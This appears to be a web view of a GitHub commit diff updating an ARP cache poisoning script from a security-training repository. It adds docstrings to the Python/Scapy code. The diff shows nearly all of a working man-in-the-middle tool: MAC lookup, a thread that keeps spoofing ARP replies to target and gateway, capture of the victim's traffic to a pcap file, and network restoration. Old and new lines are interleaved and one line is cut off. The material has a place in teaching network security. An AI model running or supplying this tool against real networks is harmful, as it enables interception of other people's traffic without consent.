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Merge pull request #126 from The-Art-of-Hacking/santosomar-patch-4
Update arp_cache_poisoner.py
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commit
8928a6f4aa
@ -1,6 +1,6 @@
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#!/usr/bin/env python3
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#!/usr/bin/env python3
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# ARP Cache Poisoning Attack using SCAPY
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# ARP Cache Poisoning Attack using SCAPY
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# Version: 0.2
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# Version: 0.3
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# Author: Omar Santos @santosomar
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# Author: Omar Santos @santosomar
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# This script performs an ARP cache poisoning attack using the SCAPY library.
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# This script performs an ARP cache poisoning attack using the SCAPY library.
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# It spoofs ARP replies to the target and gateway, causing them to update their ARP tables with the attacker's MAC address.
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# It spoofs ARP replies to the target and gateway, causing them to update their ARP tables with the attacker's MAC address.
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@ -22,6 +22,12 @@ conf.verb = 0
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# Get the MAC address of the given IP address.
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# Get the MAC address of the given IP address.
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def get_mac(ip_address):
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def get_mac(ip_address):
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"""
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Retrieves the MAC address corresponding to the given IP address using ARP.
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:param ip_address: IP address for which to retrieve the MAC address.
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:return: MAC address if found, None otherwise.
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"""
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resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10)
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resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10)
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for s, r in resp:
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for s, r in resp:
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return r[ARP].hwsrc
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return r[ARP].hwsrc
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@ -29,6 +35,14 @@ def get_mac(ip_address):
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# Restore the network by reversing the ARP poison attack.
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# Restore the network by reversing the ARP poison attack.
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def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
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def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
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"""
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Restores the network by sending ARP packets to correct the IP-MAC mappings.
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:param gateway_ip: IP address of the gateway.
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:param gateway_mac: MAC address of the gateway.
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:param target_ip: IP address of the target device.
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:param target_mac: MAC address of the target device.
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"""
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send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5)
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send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5)
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send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5)
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send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5)
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print("[*] Disabling IP forwarding")
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print("[*] Disabling IP forwarding")
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@ -37,6 +51,14 @@ def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
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# Perform the ARP poisoning attack.
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# Perform the ARP poisoning attack.
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def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
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def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
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"""
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Performs the ARP poisoning attack by sending crafted ARP packets.
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:param gateway_ip: IP address of the gateway.
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:param gateway_mac: MAC address of the gateway.
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:param target_ip: IP address of the target device.
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:param target_mac: MAC address of the target device.
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"""
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print("[*] Started ARP poison attack [CTRL-C to stop]")
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print("[*] Started ARP poison attack [CTRL-C to stop]")
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try:
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try:
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while True:
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while True:
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@ -60,35 +82,4 @@ if gateway_mac is None:
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print("[!] Unable to get gateway MAC address. Exiting..")
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print("[!] Unable to get gateway MAC address. Exiting..")
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sys.exit(0)
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sys.exit(0)
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else:
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else:
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print(f"[*] Gateway MAC address: {gateway_mac}")
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print(f"[*
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target_mac = get_mac(target_ip)
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if target_mac is None:
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print("[!] Unable to get target MAC address. Exiting..")
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sys.exit(0)
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else:
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print(f"[*] Target MAC address: {target_mac}")
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# Start the ARP poison thread
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poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac))
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poison_thread.start()
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# Collect packet captures and save them to a file
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try:
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sniff_filter = "ip host " + target_ip
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print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}")
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packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count)
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# Save captured packets to a .pcap file
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wrpcap(target_ip + "_capture.pcap", packets)
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print(f"[*] Stopping network capture..Restoring network")
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restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
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# Gracefully handle KeyboardInterrupt (Ctrl+C) to stop packet capture and restore the network
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except KeyboardInterrupt:
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print(f"[*] Stopping network capture..Restoring network")
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restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
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sys.exit(0)
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